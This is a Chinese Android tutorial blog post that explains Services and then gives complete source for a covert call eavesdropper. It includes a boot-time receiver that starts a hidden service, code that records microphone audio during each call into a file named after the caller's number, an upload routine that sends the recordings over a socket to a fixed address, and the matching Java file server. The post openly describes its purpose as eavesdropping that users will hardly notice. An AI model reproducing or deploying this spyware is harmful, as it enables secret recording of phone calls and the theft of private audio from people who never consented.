现在的位置: 首页 > 移动开发 > 正文

android学习笔记—39_采用Service实现电话监控器,刻录打电话者的声音后通过socket上传到服务端

2019年09月19日 移动开发 ⁄ 共 15939字 ⁄ 字号 评论关闭

39_采用Service实现电话监控器
1.Android中的服务和windows中的服务是类似的东西,服务一般没有用户操作界面,它运行于系统中不容易被用户发觉,可以使用它开发如监控之类的程序。服务

的开发比较简单,如下:
第一步:继承Service类
public class SMSService extends Service { }
第二步:在AndroidManifest.xml文件中的<application>节点里对服务进行配置:
<service android:name=".SMSService" />
服务不能自己运行,需要通过调用Context.startService()或Context.bindService()方法启动服务。这两个方法都可以启动Service,但是它们的使用场合有所不

同。使用startService()方法启用服务,调用者与服务之间没有关连,即使调用者退出了,服务仍然运行。使用bindService()方法启用服务,调用者与服务绑定

在了一起,调用者一旦退出,服务也就终止,大有“不求同时生,必须同时死”的特点。
采用Context.startService()方法启动服务,在服务未被创建时,系统会先调用服务的onCreate()方法,接着调用onStart()方法。如果调用startService()方法

前服务已经被创建,多次调用startService()方法并不会导致多次创建服务,但会导致多次调用onStart()方法。采用startService()方法启动的服务,只能调用

Context.stopService()方法结束服务,服务结束时会调用onDestroy()方法。
2.比如用户想要一边听音乐一边进行下载文件,那么下载文件的这部分最好是通过服务来做,这样就可以实现下载在后台进行.
----------------------------------------------------------------------------------------------------------------------
3.下面是一个服务应用的所有源码,这个服务的作用
  实现电话的窃听功能。把窃听到的声音,刻录后使用socket上传给服务器。
-----------------------------------------------------------------------
4.这是socket服务端的程序:
  cn.itcast.net.server
  /socket/src/cn/itcast/net/server/ServerWindow.java
  package cn.itcast.net.server;

import java.awt.BorderLayout;
import java.awt.Frame;
import java.awt.Label;
import java.awt.event.WindowEvent;
import java.awt.event.WindowListener;

public class ServerWindow extends Frame{
 private FileServer s = new FileServer(7878);
 private Label label;
 
 public ServerWindow(String title){
  super(title);
  label = new Label();
  add(label, BorderLayout.PAGE_START);
  label.setText("服务器已经启动");
  this.addWindowListener(new WindowListener() {
   public void windowOpened(WindowEvent e) {
    new Thread(new Runnable() { 
     public void run() {
      try {
       s.start();
      } catch (Exception e) {
       //e.printStackTrace();
      }
     }
    }).start();
   }
   
   public void windowIconified(WindowEvent e) {
   }
   
   public void windowDeiconified(WindowEvent e) {
   }
   
   public void windowDeactivated(WindowEvent e) {
   }
   
   public void windowClosing(WindowEvent e) {
     s.quit();
     System.exit(0);
   }
   
   public void windowClosed(WindowEvent e) {
   }
   
   public void windowActivated(WindowEvent e) {
   }
  });
 }
 /**
  * @param args
  */
 public static void main(String[] args) {
  ServerWindow window = new ServerWindow("文件上传服务端");
  window.setSize(300, 300);
  window.setVisible(true);
  
 }

}

----------------------------------------------------------------------------------------
2./socket/src/cn/itcast/net/server/FileServer.java
package cn.itcast.net.server;

import java.io.File;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.OutputStream;
import java.io.PushbackInputStream;
import java.io.RandomAccessFile;
import java.net.ServerSocket;
import java.net.Socket;
import java.text.SimpleDateFormat;
import java.util.Date;
import java.util.HashMap;
import java.util.Map;
import java.util.Properties;
import java.util.concurrent.ExecutorService;
import java.util.concurrent.Executors;

import cn.itcast.utils.StreamTool;

public class FileServer {
 
  private ExecutorService executorService;//线程池,实现网络多用户并发
  private int port;//监听端口
  private boolean quit = false;//退出
  private ServerSocket server;
  private Map<Long, FileLog> datas = new HashMap<Long, FileLog>();//存放断点数据
 
  public FileServer(int port){
   this.port = port;
   //创建线程池,池中具有(cpu个数*50)条线程
   executorService = Executors.newFixedThreadPool(Runtime.getRuntime().availableProcessors() * 50);
  }
  /**
   * 退出
   */
  public void quit(){
  this.quit = true;
  try {
   server.close();
  } catch (IOException e) {
  }
  }
  /**
   * 启动服务
   * @throws Exception
   */
  public void start() throws Exception{
   server = new ServerSocket(port);
   while(!quit){
          try {
            Socket socket = server.accept();
            //为支持多用户并发访问,采用线程池管理每一个用户的连接请求
            executorService.execute(new SocketTask(socket));
          } catch (Exception e) {
            //  e.printStackTrace();
          }
      }
  }
 
  private final class SocketTask implements Runnable{
  private Socket socket = null;
  public SocketTask(Socket socket) {
   this.socket = socket;
  }
  
  public void run() {
   try {
    System.out.println("accepted connection "+ socket.getInetAddress()+ ":"+ socket.getPort());
    PushbackInputStream inStream = new PushbackInputStream(socket.getInputStream());
    //得到客户端发来的第一行协议数据:Content-Length=143253434;filename=xxx.3gp;sourceid=
    //如果用户初次上传文件,sourceid的值为空。
    String head = StreamTool.readLine(inStream);
    System.out.println(head);
    if(head!=null){
     //下面从协议数据中提取各项参数值
     String[] items = head.split(";");
     String filelength = items[0].substring(items[0].indexOf("=")+1);
     String filename = items[1].substring(items[1].indexOf("=")+1);
     String sourceid = items[2].substring(items[2].indexOf("=")+1);  
     long id = System.currentTimeMillis();//生产资源id,如果需要唯一性,可以采用UUID
     FileLog log = null;
     if(sourceid!=null && !"".equals(sourceid)){
      id = Long.valueOf(sourceid);
      log = find(id);//查找上传的文件是否存在上传记录
     }
     File file = null;
     int position = 0;
     if(log==null){//如果不存在上传记录,为文件添加跟踪记录
      String path = new SimpleDateFormat("yyyy/MM/dd/HH/mm").format(new Date());
      File dir = new File("file/"+ path);
      if(!dir.exists()) dir.mkdirs();
      file = new File(dir, filename);
      if(file.exists()){//如果上传的文件发生重名,然后进行改名
       filename = filename.substring(0, filename.indexOf(".")-1)+ dir.listFiles().length+

filename.substring(filename.indexOf("."));
       file = new File(dir, filename);
      }
      save(id, file);
     }else{// 如果存在上传记录,读取已经上传的数据长度
      file = new File(log.getPath());//从上传记录中得到文件的路径
      if(file.exists()){
       File logFile = new File(file.getParentFile(), file.getName()+".log");
       if(logFile.exists()){
        Properties properties = new Properties();
        properties.load(new FileInputStream(logFile));
        position = Integer.valueOf(properties.getProperty("length"));//读取已经上传的

数据长度
       }
      }
     }
     
     OutputStream outStream = socket.getOutputStream();
     String response = "sourceid="+ id+ ";position="+ position+ "\r\n";
     //服务器收到客户端的请求信息后,给客户端返回响应信息:sourceid=1274773833264;position=0
     //sourceid由服务器端生成,唯一标识上传的文件,position指示客户端从文件的什么位置开始上传
     outStream.write(response.getBytes());
     
     RandomAccessFile fileOutStream = new RandomAccessFile(file, "rwd");
     if(position==0) fileOutStream.setLength(Integer.valueOf(filelength));//设置文件长度
     fileOutStream.seek(position);//指定从文件的特定位置开始写入数据
     byte[] buffer = new byte[1024];
     int len = -1;
     int length = position;
     while( (len=inStream.read(buffer)) != -1){//从输入流中读取数据写入到文件中
      fileOutStream.write(buffer, 0, len);
      length += len;
      Properties properties = new Properties();
      properties.put("length", String.valueOf(length));
      FileOutputStream logFile = new FileOutputStream(new File(file.getParentFile(), file.getName

()+".log"));
      properties.store(logFile, null);//实时记录已经接收的文件长度
      logFile.close();
     }
     if(length==fileOutStream.length()) delete(id);
     fileOutStream.close();     
     inStream.close();
     outStream.close();
     file = null;
     
    }
   } catch (Exception e) {
    e.printStackTrace();
   }finally{
             try {
                 if(socket!=null && !socket.isClosed()) socket.close();
             } catch (IOException e) {}
         }
  }
  }
 
  public FileLog find(Long sourceid){
   return datas.get(sourceid);
  }
  //保存上传记录
  public void save(Long id, File saveFile){
   //日后可以改成通过数据库存放
   datas.put(id, new FileLog(id, saveFile.getAbsolutePath()));
  }
  //当文件上传完毕,删除记录
  public void delete(long sourceid){
   if(datas.containsKey(sourceid)) datas.remove(sourceid);
  }
 
  private class FileLog{
  private Long id;
  private String path;
  public Long getId() {
   return id;
  }
  public void setId(Long id) {
   this.id = id;
  }
  public String getPath() {
   return path;
  }
  public void setPath(String path) {
   this.path = path;
  }
  public FileLog(Long id, String path) {
   this.id = id;
   this.path = path;
  } 
  }

}
-----------------------------------------------------------------------------------------------------
3.下面是电话窃听器代码:
  新建工程:PhoneListener
  /PhoneListener/src/com/credream/phonelistener/BootBroadcastReceiver.java
package com.credream.phonelistener;

import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;

public class BootBroadcastReceiver extends BroadcastReceiver {

 @Override
 public void onReceive(Context context, Intent intent) {
  Intent service = new Intent(context, PhoneService.class);
  //显式/隐式的意图,要传入上下文对象,和需要启动的class。
  /**
   * 一旦开机,会根据清单文件中的配置,实例化订阅系统启动信息的
   * 广播接受者,获取订阅的广播信息,系统这时候会调用这个方法
   * 然后把广播信息传给intent,意图对象
   *
   */
  
  context.startService(service);//Intent激活组件(Service)
 //这里如果没有显示的关闭服务,当系统需要更多内存,而且这个服务又没有工作的时候,会自动的关闭这个服务,如果想显示的关闭这个服务需要调用

这个方法
  /**
   * 采用Context.startService()方法启动服务,在服务未被创建时,系统会先调用服务的onCreate()方法,
   * 接着调用onStart()方法。如果调用startService()方法前服务已经被创建,多次调用startService()
   * 方法并不会导致多次创建服务,但会导致多次调用onStart()方法。采用startService()方法启动的服务,
   * 只能调用Context.stopService()方法结束服务,服务结束时会调用onDestroy()方法。

   */
 }

}
---------------------------------------------------------------------------------------------------
/PhoneListener/src/com/credream/phonelistener/PhoneService.java
package com.credream.phonelistener;
/**
 * 注意测试的时候只有开机启动的时候才会启动这个服务,而且这个服务的过程,需要很多权限。
 <!-- 监听电话状态的权限-->
          <uses-permission android:name="android.permission.READ_PHONE_STATE"/>
 <!-- 在SDCard中创建与删除文件权限 -->
<uses-permission android:name="android.permission.MOUNT_UNMOUNT_FILESYSTEMS"/>
<!-- 往SDCard写入数据权限 -->
<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>
 <!-- 访问internet权限 -->
<uses-permission android:name="android.permission.INTERNET"/>
<!-- 刻录声音也需要权限 -->
<uses-permission android:name="android.permission.RECORD_AUDIO"/>           
 */
import java.io.File;
import java.io.IOException;
import java.io.OutputStream;
import java.io.PushbackInputStream;
import java.io.RandomAccessFile;
import java.net.Socket;

import com.credream.utils.StreamTool;

import android.app.Service;
import android.content.Context;
import android.content.Intent;
import android.media.MediaRecorder;
import android.os.Environment;
import android.os.IBinder;
import android.telephony.PhoneStateListener;
import android.telephony.TelephonyManager;

public class PhoneService extends Service
{

 @Override
 public IBinder onBind(Intent arg0)
 {
  return null;
 }
//创建实例的时候被调用,只会调用一次,适合完成数据初始化
 @Override
 public void onCreate()
 {
  /**
   * 广播接收者中会启动这个服务,当服务创建的时候,
   * 系统会自动的调用这个方法来创建服务
   */
//窃听电话语音需要知道用户什么时候接听电话,什么时候挂断电话,接听的时候开始录音
  //挂断的时候需要停止录音
  super.onCreate();
  //通过下面的服务来获取系统的通话信息
  TelephonyManager telephonyManager=(TelephonyManager) getSystemService(Context.TELEPHONY_SERVICE);
 //注册监听器
  telephonyManager.listen(new PhoneListener(), PhoneStateListener.LISTEN_CALL_STATE);
 //监听通话,在监听中,如果电话状态发生改变会自动的调用onCallStateChanged这个方法
 }
 private final class PhoneListener extends PhoneStateListener{
     private String incomingNumber;
     private MediaRecorder mediaRecorder;
     private File file;
     /**incomingNumber来电号码,只有来电的时候猜存在
   * state:状态,来电,挂断,通话
   */
  @Override
  public void onCallStateChanged(int state, String incomingNumber)
  {
   try
   {
    switch (state)
   {
   case TelephonyManager.CALL_STATE_RINGING://来电
    this.incomingNumber=incomingNumber;
    break;
    case TelephonyManager.CALL_STATE_OFFHOOK://接通电话
     //利用媒体的api来录音
     file = new File(Environment.getExternalStorageDirectory(), incomingNumber+System.currentTimeMillis()+

".3gp");
     //第一个参数是获得sd卡,第二个参数是文件名称
     mediaRecorder = new MediaRecorder();
     mediaRecorder.setAudioSource(MediaRecorder.AudioSource.MIC);//这里录制mic的声音,也就是说话人的声音,

目前android系统还没有提供录制听筒的声音
     mediaRecorder.setOutputFormat(MediaRecorder.OutputFormat.THREE_GPP);//指定录制的音频的格式3gp一般是。
     mediaRecorder.setAudioEncoder(MediaRecorder.AudioEncoder.AMR_NB);//指定音频编码方式
     mediaRecorder.setOutputFile(file.getAbsolutePath());//录制的音频放到什么地方
   
     mediaRecorder.prepare();
    //这个方法是进行录音前的缓冲准备
     mediaRecorder.start();//开始录音
     break;
    case TelephonyManager.CALL_STATE_IDLE://挂断电话后回归空闲状态
if(mediaRecorder!=null){//当挂断的时候进行处理下
 mediaRecorder.stop();
 mediaRecorder.release();
 mediaRecorder=null;
 //uploadFile();//上传录制的音频文件
}
   
    break;
   }
  }catch(Exception e){
   e.printStackTrace();
   }
  }
  
  private void uploadFile() {
   new Thread(new Runnable() {    
    public void run() {
     try {
      if(file!=null && file.exists()){
       Socket socket = new Socket("192.168.1.103", 7878);
                OutputStream outStream = socket.getOutputStream();
                String head = "Content-Length="+ file.length() + ";filename="+ file.getName() + ";sourceid=\r\n";
                outStream.write(head.getBytes());
               
                PushbackInputStream inStream = new PushbackInputStream(socket.getInputStream()); 
       String response = StreamTool.readLine(inStream);
                String[] items = response.split(";");
       String position = items[1].substring(items[1].indexOf("=")+1);
       
       RandomAccessFile fileOutStream = new RandomAccessFile(file, "r");
       fileOutStream.seek(Integer.valueOf(position));
       byte[] buffer = new byte[1024];
       int len = -1;
       while( (len = fileOutStream.read(buffer)) != -1){
        outStream.write(buffer, 0, len);
       }
       fileOutStream.close();
       outStream.close();
                inStream.close();
                socket.close();
                file.delete();
                file = null;
               }
           } catch (Exception e) {                   
               e.printStackTrace();
           }
    }
   }).start();
  }  
  
 }
 

}
-------------------------------------------------------------------------------------------------
/PhoneListener/src/com/credream/utils/StreamTool.java
package com.credream.utils;

import java.io.ByteArrayOutputStream;
import java.io.File;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.io.PushbackInputStream;

public class StreamTool {

  public static void save(File file, byte[] data) throws Exception {
   FileOutputStream outStream = new FileOutputStream(file);
   outStream.write(data);
   outStream.close();
  }
 
  public static String readLine(PushbackInputStream in) throws IOException {
   char buf[] = new char[128];
   int room = buf.length;
   int offset = 0;
   int c;
loop:  while (true) {
    switch (c = in.read()) {
     case -1:
     case '\n':
      break loop;
     case '\r':
      int c2 = in.read();
      if ((c2 != '\n') && (c2 != -1)) in.unread(c2);
      break loop;
     default:
      if (--room < 0) {
       char[] lineBuffer = buf;
       buf = new char[offset + 128];
          room = buf.length - offset - 1;
          System.arraycopy(lineBuffer, 0, buf, 0, offset);
        
      }
      buf[offset++] = (char) c;
      break;
    }
   }
   if ((c == -1) && (offset == 0)) return null;
   return String.copyValueOf(buf, 0, offset);
 }
 
 /**
 * 读取流
 * @param inStream
 * @return 字节数组
 * @throws Exception
 */
 public static byte[] readStream(InputStream inStream) throws Exception{
   ByteArrayOutputStream outSteam = new ByteArrayOutputStream();
   byte[] buffer = new byte[1024];
   int len = -1;
   while( (len=inStream.read(buffer)) != -1){
    outSteam.write(buffer, 0, len);
   }
   outSteam.close();
   inStream.close();
   return outSteam.toByteArray();
 }
}
-------------------------------------------------------------------------------------
/PhoneListener/AndroidManifest.xml
<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
    package="com.credream.phonelistener"
    android:versionCode="1"
    android:versionName="1.0" >

    <uses-sdk android:minSdkVersion="8" />

    <application
        android:icon="@drawable/ic_launcher"
        android:label="@string/app_name" >
        <!-- 完成服务的配置service -->
        <service android:name=".PhoneService"/>
  <!--  订阅启动系统的广播接受者 -->
        <receiver android:name=".BootBroadcastReceiver">
            <intent-filter >
                <action android:name="android.intent.action.BOOT_COMPLETED"/>
            </intent-filter>
        </receiver>
        </application>
        <!-- 监听电话状态的权限-->
          <uses-permission android:name="android.permission.READ_PHONE_STATE"/>
 <!-- 在SDCard中创建与删除文件权限 -->
<uses-permission android:name="android.permission.MOUNT_UNMOUNT_FILESYSTEMS"/>
<!-- 往SDCard写入数据权限 -->
<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>
 <!-- 访问internet权限 -->
<uses-permission android:name="android.permission.INTERNET"/>
<!-- 刻录声音也需要权限 -->
<uses-permission android:name="android.permission.RECORD_AUDIO"/>      
</manifest>
----------------------------------------------------------------------------------
4.测试:测试的时候要先将程序部署到android模拟器中然后再重启android模拟器,因为这个服务,只有在android系统启动的时候才会被自动启动
-------------------------------------------------------------------------------------------------------------------------------------

 

抱歉!评论已关闭.